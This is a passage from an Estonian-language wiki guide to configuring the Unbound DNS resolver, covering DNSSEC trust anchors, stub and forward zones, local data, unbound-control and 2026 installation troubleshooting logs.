kusjuures fail peab olema unbound protsessile kirjutatav ning esialgselt sisaldama rida (as per http://unbound.net/documentation/howto_anchor.html)&lt;br /&gt;
&lt;br /&gt;
 # cat /var/unbound/etc/root.key&lt;br /&gt;
 . IN DS 19036 8 2 49AAC11D7B6F6446702E54A1607371607A1A41855200FD2CE1CDDE32F24E8FB5&lt;br /&gt;
&lt;br /&gt;
 # chown _unbound /var/unbound/etc&lt;br /&gt;
 # chown _unbound:_unbound /var/unbound/etc/root.key&lt;br /&gt;
&lt;br /&gt;
Peale unbound protsessi käivitamist selle faili sisu muutub automaatselt.&lt;br /&gt;
&lt;br /&gt;
Kontrollimiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
 $ dig . ns +dnssec +multiline&lt;br /&gt;
 &lt;br /&gt;
 ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.7.2-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; . ns +dnssec +multiline&lt;br /&gt;
 ;; global options: +cmd&lt;br /&gt;
 ;; Got answer:&lt;br /&gt;
 ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 4737&lt;br /&gt;
 ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 14, AUTHORITY: 0, ADDITIONAL: 1&lt;br /&gt;
 &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;.                      IN NS&lt;br /&gt;
 &lt;br /&gt;
 ;; ANSWER SECTION:&lt;br /&gt;
 .                       518267 IN NS m.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS g.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS b.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS h.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS a.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS e.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS k.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS f.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS c.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS j.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS i.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS l.root-servers.net.&lt;br /&gt;
 .                       518267 IN NS d.root-servers.net.&lt;br /&gt;
 .                       518267 IN RRSIG NS 8 0 518400 20110409000000 (&lt;br /&gt;
                                 20110401230000 34525 .&lt;br /&gt;
                                 De4SFgTDwpgbz1JjTlaPzu7ZNRURLSnoYmQQQIZq7Gny&lt;br /&gt;
                                 RghOrsvS1soH5F43Gxr5BIi+422EBLJIrEHFnbvLy22S&lt;br /&gt;
                                 LqKtSw67eDdsBZyjE5fTtDHyYhnoR8YQWswgGVMRk4Ek&lt;br /&gt;
                                 iDDMIOk5pF+CvbML6TlvTWrnPCwNWXnbLFnT9SY= )&lt;br /&gt;
 &lt;br /&gt;
 ;; Query time: 0 msec&lt;br /&gt;
 ;; SERVER: 10.192.0.53#53(10.192.0.53)&lt;br /&gt;
 ;; WHEN: Sat Apr  2 18:44:16 2011&lt;br /&gt;
 ;; MSG SIZE  rcvd: 397&lt;br /&gt;
&lt;br /&gt;
kus tuleb tähele panna&lt;br /&gt;
&lt;br /&gt;
* vastus sisaldab RRSIG kirjet&lt;br /&gt;
* flags: qr rd ra ad - ad tähistab, et tegu on authoritative data sisaldusega&lt;br /&gt;
&lt;br /&gt;
====DLV====&lt;br /&gt;
&lt;br /&gt;
DLV seadistamiseks tuleb &lt;br /&gt;
&lt;br /&gt;
* kopeerida trust anchor fail kataloogi /var/unbound/etc&lt;br /&gt;
&lt;br /&gt;
  # cd /var/unbound/etc&lt;br /&gt;
  # ftp http://ftp.isc.org/www/dlv/dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
* Unbound seadistusfailis kasutada rida&lt;br /&gt;
&lt;br /&gt;
  dlv-anchor-file: &amp;quot;dlv.isc.org.key&lt;br /&gt;
&lt;br /&gt;
Valideeritud nimepäringu vastus näeb välja nt selline&lt;br /&gt;
&lt;br /&gt;
  $ dig www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  &lt;br /&gt;
  ; &amp;lt;&amp;lt;&amp;gt;&amp;gt; DiG 9.5.1-P3 &amp;lt;&amp;lt;&amp;gt;&amp;gt; www.kaminskybug.se a +dnssec +multiline&lt;br /&gt;
  ;; global options:  printcmd&lt;br /&gt;
  ;; Got answer:&lt;br /&gt;
  ;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR, id: 56069&lt;br /&gt;
  ;; flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
  &lt;br /&gt;
  ;; OPT PSEUDOSECTION:&lt;br /&gt;
  ; EDNS: version: 0, flags: do; udp: 4096&lt;br /&gt;
  ;; QUESTION SECTION:&lt;br /&gt;
  ;www.kaminskybug.se.    IN A&lt;br /&gt;
  &lt;br /&gt;
  ;; ANSWER SECTION:&lt;br /&gt;
  www.kaminskybug.se.     3590 IN CNAME fou.iis.se.&lt;br /&gt;
  www.kaminskybug.se.     3590 IN RRSIG CNAME 5 3 3600 20100205210001 (&lt;br /&gt;
                                  20100126210001 13358 kaminskybug.se.&lt;br /&gt;
                                  goEav1vWK49WEvGY/G1EBKOgekQk11JvjsQxE7chH6Kg&lt;br /&gt;
                                  OwZNpOXwomE1z9zvLcwkD60CQAZWC9psA1z01iIwtOrt&lt;br /&gt;
                                  Yq6L+2A0PLVAAuRYeY3CQnbHoHRYClCUz0dIkxhtz9f/&lt;br /&gt;
                                  Um1AuC3FtqV6t9q8lLb4ooav0Ex64KuwoPPxqqs= )&lt;br /&gt;
  fou.iis.se.             3590 IN A 212.247.204.242&lt;br /&gt;
  fou.iis.se.             3590 IN RRSIG A 5 3 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  BOPpSETDBKu6CjOcz2ULnOnfRVoXfOXj9OjW4zwjPuWl&lt;br /&gt;
                                  7vJ8630yXsuSEe89RuH/ZsuOGbeJnumQ/XmD6ftWL9yM&lt;br /&gt;
                                  MPUF1ZYxCtExaBcIxhxDIFJv4E4RZAOkbb9ZdYKTglIL&lt;br /&gt;
                                  zDleOOms0iVgCAnnWJSnmDpzhfvr8xoTGlh7myE= )&lt;br /&gt;
  &lt;br /&gt;
  ;; AUTHORITY SECTION:&lt;br /&gt;
  iis.se.                 3590 IN NS ns.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns3.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN NS ns2.nic.se.&lt;br /&gt;
  iis.se.                 3590 IN RRSIG NS 5 2 3600 20100209131501 (&lt;br /&gt;
                                  20100130131501 56315 iis.se.&lt;br /&gt;
                                  B3SheLIv8ouVPpFGjvM8q5fl9ZMnnPWR8x9QDD0uSxoH&lt;br /&gt;
                                  iV2fYHjiKC5a2+8Znsi4zSdO2AmH+reUCP74qvYpkl1K&lt;br /&gt;
                                  +NbEzndzzrJQ0XlT1icy3MC6vdvgdE7Opqjab/7iIiYV&lt;br /&gt;
                                  X9UjZpHKR284EljSrKJ0z53/T+12P3K0VU/dRFE= )&lt;br /&gt;
   &lt;br /&gt;
  ;; Query time: 1 msec&lt;br /&gt;
  ;; SERVER: 10.53.67.69#53(10.53.67.69)&lt;br /&gt;
  ;; WHEN: Sun Jan 31 00:25:39 2010&lt;br /&gt;
  ;; MSG SIZE  rcvd: 648&lt;br /&gt;
&lt;br /&gt;
kus ad lipp annab tunnistust, et vastus on valideeritud&lt;br /&gt;
&lt;br /&gt;
  flags: qr rd ra ad; QUERY: 1, ANSWER: 4, AUTHORITY: 4, ADDITIONAL: 1&lt;br /&gt;
&lt;br /&gt;
====Firefox DNSSEC lisa kasutamine====&lt;br /&gt;
&lt;br /&gt;
Firefox DNSSEC lisa https://addons.mozilla.org/en-us/firefox/addon/dnssec-validator/ abil saab brauseri kasutamise ajal tagasisidet kuidas käesolev nimi on lahendatud, nt&lt;br /&gt;
&lt;br /&gt;
[[Pilt:Unbound-1.gif]]&lt;br /&gt;
&lt;br /&gt;
Seejuures tuleb arvestada, et DNSSEC iseenest tähendab, et nimi lahendes turvaliselt, järgneva andmevahetuse turvalisus on eraldi küsimus ja nt https:// on üks viis selle saavutamiseks.&lt;br /&gt;
&lt;br /&gt;
===domain-insecure tsoonid===&lt;br /&gt;
&lt;br /&gt;
Kui kasutatakse signeeritud tsoonifailiga juurnimeservereid ning mõnele lokaalsele mitte-dnssec nimeserverile viitavaid stub-zone sissekandeid, siis võib olla asjakohane kasutada lisaks ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;auul&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
===Lokaalsed nimekirjeldused===&lt;br /&gt;
&lt;br /&gt;
Lisaks sellele, et Unboundi kasutab nimede lahendamisel võrgus töötavaid autoriteetseid nimeservereid, saab kirjeldada seadistusfailis päri- ja pöördteisendusi&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;loomaaed.tartu.ee&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;loomaaed.tartu.ee A 192.168.10.100&amp;quot;&lt;br /&gt;
 ..&lt;br /&gt;
 local-data-ptr: &amp;quot;192.168.10.100 loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* local-zone - lokaalselt unboundis kirjeldatud tsooni nimi&lt;br /&gt;
* static - sellel positsioonil st type parameeter määrab põhiliselt, kuidas mitte kirjeldatud nime küsimisele vastatakse&lt;br /&gt;
* local-data - päriteisendus&lt;br /&gt;
* local-data-prt - pöördteisendus&lt;br /&gt;
&lt;br /&gt;
type väärtused&lt;br /&gt;
&lt;br /&gt;
* static - local-data abil mitte kirjeldatud nime küsimisele vastatakse NXDOMAIN&lt;br /&gt;
* nodefault - AS112 tsoonide puhul vastab Unbound vaikimisi NXDOMAIN vastusega, nodefault puhul püütakse vastavaid nimesid lahendada&lt;br /&gt;
* transparent - local-data abil mitte kirjeldatud nimi püütakse lahenada internetist, stub-zone abil vms viisil&lt;br /&gt;
* redirect - kõik alamdomeenid vastatakse local-data abil näidatud väärtusega&lt;br /&gt;
&lt;br /&gt;
===Stub tsoon===&lt;br /&gt;
&lt;br /&gt;
Stub tsooni abil saab öelda, millist pädevat nimeserverit kasutada mõne domeeni nimelahenduseks. Praktiliselt võiks seda vaja minna kui asutuses on nt kasutusel mitte-avalik pädev nimeserver ja domeeni 'auul.' nimede lahendamiseks tuleks kasutada seda; vastasel korral püüaks Unbound neid nimesid lahendada pöördudes interneti juurnimeserverite poole.&lt;br /&gt;
&lt;br /&gt;
Seadistusfailis kirjeldatakse stub tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;auul&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeni nimi&lt;br /&gt;
* stub-addr - domeeni pädeva nimeserveri ip aadress&lt;br /&gt;
* stub sõna viitab asjaolule, et Unbound saab näidatud nimeserverilt otse vastuse kätte&lt;br /&gt;
&lt;br /&gt;
Kui stub-zone abil on vaja teha mõne privaatsete aadressidega /24 subneti jaoks pöördteisendusi, siis tuleb tõenäoliselt kasutada koostöös selliseid direktiive&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 domain-insecure: &amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;1.168.192.in-addr.arpa&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;1.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 local-zone: &amp;quot;2.168.192.in-addr.arpa.&amp;quot; transparent&lt;br /&gt;
 ....&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
   name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
   stub-addr: 192.168.1.247&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
  name: &amp;quot;10.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
  stub-addr: 192.168.1.247&lt;br /&gt;
&lt;br /&gt;
Oluline on panna tähele, et korrektsel juhul lahendatakse kirjeldatud tsoonid stub-addr nimeserveri poolt, muud privaatsed aadressid saavad vastuseks (vastuse genereerib Unbound ise)&lt;br /&gt;
&lt;br /&gt;
 $ dig -x 192.168.5.5&lt;br /&gt;
 .. &lt;br /&gt;
 ;; OPT PSEUDOSECTION:&lt;br /&gt;
 ; EDNS: version: 0, flags:; udp: 1480&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.      IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   10800   IN      SOA     localhost. nobody.invalid. 1 3600 1200 604800 10800&lt;br /&gt;
&lt;br /&gt;
Kui vastus on, siis midagi on valesti, sest Unbound on seda käinud internetis lahendamas&lt;br /&gt;
&lt;br /&gt;
 ..&lt;br /&gt;
 ;; QUESTION SECTION:&lt;br /&gt;
 ;5.5.168.192.in-addr.arpa.     IN      PTR&lt;br /&gt;
 &lt;br /&gt;
 ;; AUTHORITY SECTION:&lt;br /&gt;
 168.192.in-addr.arpa.   86400   IN      SOA     prisoner.iana.org. hostmaster.trex.fi. 1 604800 86400 2419200 86400&lt;br /&gt;
&lt;br /&gt;
===Forward tsoon===&lt;br /&gt;
&lt;br /&gt;
Forward tsooni abil saab öelda, millist rekursiivset nimeserverit kasutada mõne domeeni nimelahenduseks. Seadistusfailis kirjeldatakse forward tsoon selliselt&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;loomla.tartu.ee&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* name - domeeninimi&lt;br /&gt;
* forward-addr - rekursiivse nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
Selleks, et suunata kõik päringud lahendamiseks edasi sobib kasutada&lt;br /&gt;
&lt;br /&gt;
 forward-zone:&lt;br /&gt;
   name: &amp;quot;.&amp;quot;&lt;br /&gt;
   forward-addr: 10.172.20.10&lt;br /&gt;
&lt;br /&gt;
===AS112 tsoonid===&lt;br /&gt;
&lt;br /&gt;
AS112 tsoonide hulka kuuluvad sellised pöördteisenduse tsoonid, vaikimisi vastab AS112 tsooni tehtud päringutele Unbound NXDOMAIN (põhjusel, et sisemiste arvutite poolt tehtud pöördteisenduspäringud ei jõuaks avalikku võrku)&lt;br /&gt;
&lt;br /&gt;
* 10.in-addr.arpa&lt;br /&gt;
* 16.172.in-addr.arpa&lt;br /&gt;
* ...&lt;br /&gt;
* 31.172.in-addr.arpa&lt;br /&gt;
* 168.192.in-addr.arpa&lt;br /&gt;
* 254.169.in-addr.arpa&lt;br /&gt;
* 2.0.192.in-addr.arpa&lt;br /&gt;
* 100.51.198.in-addr.arpa&lt;br /&gt;
* 113.0.203.in-addr.arpa&lt;br /&gt;
&lt;br /&gt;
Lisaks lahendab Unbound vaikimisi mõlemas suunas localhost - 127.0.0.1 teisendust justkui oleks kirjeldatud (sarnaselt on kirjeldatud ka IPv6 ::1)&lt;br /&gt;
&lt;br /&gt;
 local-zone: &amp;quot;localhost.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN A 127.0.0.1&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;localhost. 10800 IN AAAA ::1&lt;br /&gt;
 ..&lt;br /&gt;
 &lt;br /&gt;
 local-zone: &amp;quot;127.in-addr.arpa.&amp;quot; static&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN NS localhost.&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;127.in-addr.arpa. 10800 IN SOA localhost. nobody.invalid. 1 3600 1200 604800 10800&amp;quot;&lt;br /&gt;
 local-data: &amp;quot;1.0.0.127.in-addr.arpa. 10800 IN PTR localhost.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Selleks, et asutuse lokaalses autoriteetses nimeserveris kirjeldatud privaatsete aadresside pöördteisendused töötaksid tuleb kirjeldada vastava tsooni jaoks local-zone väärtusega nodefault&lt;br /&gt;
&lt;br /&gt;
  server:&lt;br /&gt;
    ...&lt;br /&gt;
    local-zone: &amp;quot;168.192.in-addr.arpa.&amp;quot; nodefault&lt;br /&gt;
    &lt;br /&gt;
ning nt 192.168.1 võrgu puhul näidata pädeva nimeserveri aadress&lt;br /&gt;
&lt;br /&gt;
  stub-zone:&lt;br /&gt;
     name: &amp;quot;1.168.192.in-addr.arpa.&amp;quot;&lt;br /&gt;
     stub-addr: 192.168.1.251&lt;br /&gt;
&lt;br /&gt;
===Jõudlus===&lt;br /&gt;
&lt;br /&gt;
* Unbound oskab kasutada mitut protsessorit ja nö keskpärasel riistvaral suudab teenidada kümneid tuhandeid päringuid sekundis.&lt;br /&gt;
* Unbound on 2-3 korda kiirem kui Bind.&lt;br /&gt;
&lt;br /&gt;
===Klientprogrammi unbound-host kasutamine===&lt;br /&gt;
&lt;br /&gt;
Klientprogramm unbound-host võimaldab nt kontrollida, kas nimelahenduse valideerimine töötab&lt;br /&gt;
&lt;br /&gt;
  # unbound-host -C unbound.conf -t A -v www.kaminskybug.se &lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 0: validator&lt;br /&gt;
  [1264938168] libunbound[2566:0] notice: init module 1: iterator&lt;br /&gt;
  www.kaminskybug.se is an alias for fou.iis.se. (secure)&lt;br /&gt;
  fou.iis.se has address 212.247.204.242 (secure)&lt;br /&gt;
&lt;br /&gt;
===Haldusprogramm unbound-control===&lt;br /&gt;
&lt;br /&gt;
Haldusprogrammiga unbound-control saab juhtida Unbound resolveri tööd ja küsida statistikat. Kuna unbound-control võimaldab resolveri töötamist oluliselt mõjutada, nt laadida cache sisu tekstifailist või resolveri seisata, siis peab hoolega jälgima, et unbound-control kasutamisele oleks seatud vajalikud piirangud.&lt;br /&gt;
&lt;br /&gt;
====Unbound resolveri ettevalmistamine====&lt;br /&gt;
&lt;br /&gt;
unbound-control suhtleb Unbound serveriga vaikimisi üle 953/tcp pordi. Osaliste autentimiseks kasutatakse avaliku-võtme tehnikat, vajalike võtmete genereerimiseks sobib kasutada unbound-control-setup utiliiti&lt;br /&gt;
&lt;br /&gt;
 # unbound-control-setup&lt;br /&gt;
 ... &lt;br /&gt;
 Signature ok&lt;br /&gt;
 subject=/CN=unbound-control&lt;br /&gt;
 Getting CA Private Key&lt;br /&gt;
 Setup success. Certificates created. Enable in unbound.conf file to use&lt;br /&gt;
&lt;br /&gt;
Tulemusena tekivad /var/unbound/etc kataloogi neli võtit, kask serveri ja kaks kliendi jaoks&lt;br /&gt;
&lt;br /&gt;
  unbound_control.key&lt;br /&gt;
  unbound_control.pem&lt;br /&gt;
  unbound_server.key&lt;br /&gt;
  unbound_server.pem&lt;br /&gt;
&lt;br /&gt;
unbound-control kasutamiseks tuleb vastav funktsionaalsus Unbound serveris sisse lülitada nt sektsiooniga&lt;br /&gt;
&lt;br /&gt;
  remote-control:&lt;br /&gt;
        control-enable: yes&lt;br /&gt;
        control-interface: 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
====unbound-control kasutamine====&lt;br /&gt;
&lt;br /&gt;
Vaikimisi kasutab unbound-control Unbound serveri seadistusfaili, nt sobib alustuseks kasutada unbound serverit ja unbound-control utiliiti samas arvutis.&lt;br /&gt;
&lt;br /&gt;
* Unbound resolveri oleku küsimine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control status             &lt;br /&gt;
  version: 1.3.0&lt;br /&gt;
  verbosity: 1&lt;br /&gt;
  threads: 1&lt;br /&gt;
  modules: 2 [ validator iterator ]&lt;br /&gt;
  uptime: 1184 seconds&lt;br /&gt;
  unbound (pid 23298) is running...&lt;br /&gt;
&lt;br /&gt;
* Resolveri cacheist tsooni loomaaed.tartu.ee andmete kustutamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control flush_zone loomaaed.tartu.ee&lt;br /&gt;
  ok removed 3 rrsets, 2 messages and 0 key entries&lt;br /&gt;
&lt;br /&gt;
* Cache sisu esitamine&lt;br /&gt;
&lt;br /&gt;
  # unbound-control dump_cache&lt;br /&gt;
&lt;br /&gt;
====Resolveri kasutusstatistika====&lt;br /&gt;
&lt;br /&gt;
Üks unbound-control kasutusjuht on koguda resolveri kasutusstatistikat&lt;br /&gt;
&lt;br /&gt;
  # unbound-control stats_noreset&lt;br /&gt;
&lt;br /&gt;
Praktiliselt on seda sobiv automatiseerida Munin või Cacti tarkvaraga, mida on kirjeldatud aadressil http://www.unbound.net/documentation/howto_statistics.html.&lt;br /&gt;
&lt;br /&gt;
===Unbound ja NSD protsessid samas arvutis===&lt;br /&gt;
&lt;br /&gt;
Unbound seadistusfailis sobib kasutada ridu&lt;br /&gt;
&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
 domain-insecure: &amp;quot;loomaaed.tartu.org&amp;quot;&lt;br /&gt;
 ...&lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.ee&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.eu&amp;quot;&lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
 &lt;br /&gt;
 stub-zone:&lt;br /&gt;
        name: &amp;quot;loomaaed.tartu.org&amp;quot; &lt;br /&gt;
        stub-addr: 10.193.0.53&lt;br /&gt;
&lt;br /&gt;
===IPv6 kasutamine===&lt;br /&gt;
&lt;br /&gt;
IPv6 kasutamiseks tuleb seadistusfailis näidata, millisel IPv6 aadressil protsess kuulab&lt;br /&gt;
&lt;br /&gt;
 interface: 2001:1530:90:11:192::53&lt;br /&gt;
&lt;br /&gt;
ning lubada asjakohastest võrkudest teenuse poole pöörduda, nt&lt;br /&gt;
 &lt;br /&gt;
 access-control: fd99::/64 allow&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb arvestada seda, et nimepäringute lahendamiseks kasutab Unbound ise IPv4 ja IPv6 võrku.&lt;br /&gt;
&lt;br /&gt;
===2026 kevad märkused===&lt;br /&gt;
&lt;br /&gt;
Takerdub&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# apt-get install unbound&lt;br /&gt;
root@arv:~# apt-get install unbound&lt;br /&gt;
Reading package lists... Done&lt;br /&gt;
Building dependency tree&lt;br /&gt;
Reading state information... Done&lt;br /&gt;
The following additional packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound-anchor&lt;br /&gt;
The following NEW packages will be installed:&lt;br /&gt;
  libfstrm0 libprotobuf-c1 libunbound2 unbound unbound-anchor&lt;br /&gt;
0 upgraded, 5 newly installed, 0 to remove and 49 not upgraded.&lt;br /&gt;
...&lt;br /&gt;
&lt;br /&gt;
Setting up unbound (1.6.7-1ubuntu2.6+esm4) ...&lt;br /&gt;
Created symlink /etc/systemd/system/multi-user.target.wants/unbound.service → /lib/systemd/system/unbound.service.&lt;br /&gt;
Created symlink /etc/systemd/system/unbound.service.wants/unbound-resolvconf.service → /lib/systemd/system/unbound-resolvconf.service.&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Job for unbound.service failed because the control process exited with error code.&lt;br /&gt;
See &amp;quot;systemctl status unbound.service&amp;quot; and &amp;quot;journalctl -xe&amp;quot; for details.&lt;br /&gt;
invoke-rc.d: initscript unbound, action &amp;quot;start&amp;quot; failed.&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (auto-restart) (Result: exit-code) since Tue 2026-06-16 11:21:17 EEST; 9ms ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 5650 ExecStart=/usr/sbin/unbound -d $DAEMON_OPTS (code=exited, status=1/FAILURE)&lt;br /&gt;
  Process: 5304 ExecStartPre=/usr/lib/unbound/package-helper root_trust_anchor_update (code=exited, status=0/SUCCESS)&lt;br /&gt;
  Process: 5301 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
 Main PID: 5650 (code=exited, status=1/FAILURE)&lt;br /&gt;
Processing triggers for libc-bin (2.27-3ubuntu1.6+esm6) ...&lt;br /&gt;
Processing triggers for systemd (237-3ubuntu10.57+esm3) ...&lt;br /&gt;
Processing triggers for man-db (2.8.3-2ubuntu0.1) ...&lt;br /&gt;
&lt;br /&gt;
root      5304  0.0  0.0   4636   896 ?        Ss   11:20   0:00 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
unbound   5307  0.0  0.0  34596  7820 ?        S    11:20   0:00  \_ /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# systemctl status unbound&lt;br /&gt;
● unbound.service - Unbound DNS server&lt;br /&gt;
   Loaded: loaded (/lib/systemd/system/unbound.service; enabled; vendor preset: enabled)&lt;br /&gt;
   Active: activating (start-pre) since Tue 2026-06-16 11:33:15 EEST; 38s ago&lt;br /&gt;
     Docs: man:unbound(8)&lt;br /&gt;
  Process: 12287 ExecStartPre=/usr/lib/unbound/package-helper chroot_setup (code=exited, status=0/SUCCESS)&lt;br /&gt;
Cntrl PID: 12290 (package-helper)&lt;br /&gt;
    Tasks: 2 (limit: 4915)&lt;br /&gt;
   CGroup: /system.slice/unbound.service&lt;br /&gt;
           ├─12290 /bin/sh -e /usr/lib/unbound/package-helper root_trust_anchor_update&lt;br /&gt;
           └─12293 /usr/sbin/unbound-anchor -a /var/lib/unbound/root.key -v&lt;br /&gt;
&lt;br /&gt;
Jun 16 11:33:15 arv.auul.pri.ee systemd[1]: Starting Unbound DNS server...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lahenduse koht&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@arv:~# head -n 10 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
&lt;br /&gt;
root@arv:~# head -n 20 /usr/lib/unbound/package-helper&lt;br /&gt;
#!/bin/sh -e&lt;br /&gt;
&lt;br /&gt;
UNBOUND_CONF=&amp;quot;/etc/unbound/unbound.conf&amp;quot;&lt;br /&gt;
UNBOUND_BASE_DIR=&amp;quot;$(dirname $UNBOUND_CONF)&amp;quot;&lt;br /&gt;
CHROOT_DIR=&amp;quot;$(unbound-checkconf -o chroot)&amp;quot;&lt;br /&gt;
&lt;br /&gt;
DNS_ROOT_KEY_FILE=&amp;quot;/usr/share/dns/root.key&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_FILE=&amp;quot;/var/lib/unbound/root.key&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Override these variables by editing or creating /etc/default/unbound.&lt;br /&gt;
RESOLVCONF=&amp;quot;true&amp;quot;&lt;br /&gt;
ROOT_TRUST_ANCHOR_UPDATE=&amp;quot;true&amp;quot;&lt;br /&gt;
&lt;br /&gt;
if [ -f /etc/default/unbound ]; then&lt;br /&gt;
    . /etc/default/unbound&lt;br /&gt;
&lt;br /&gt;
    case &amp;quot;x$RESOLVCONF&amp;quot; in xfalse|x0|xno)&lt;br /&gt;
        RESOLVCONF=&amp;quot;false&amp;quot;&lt;br /&gt;
        ;;&lt;br /&gt;
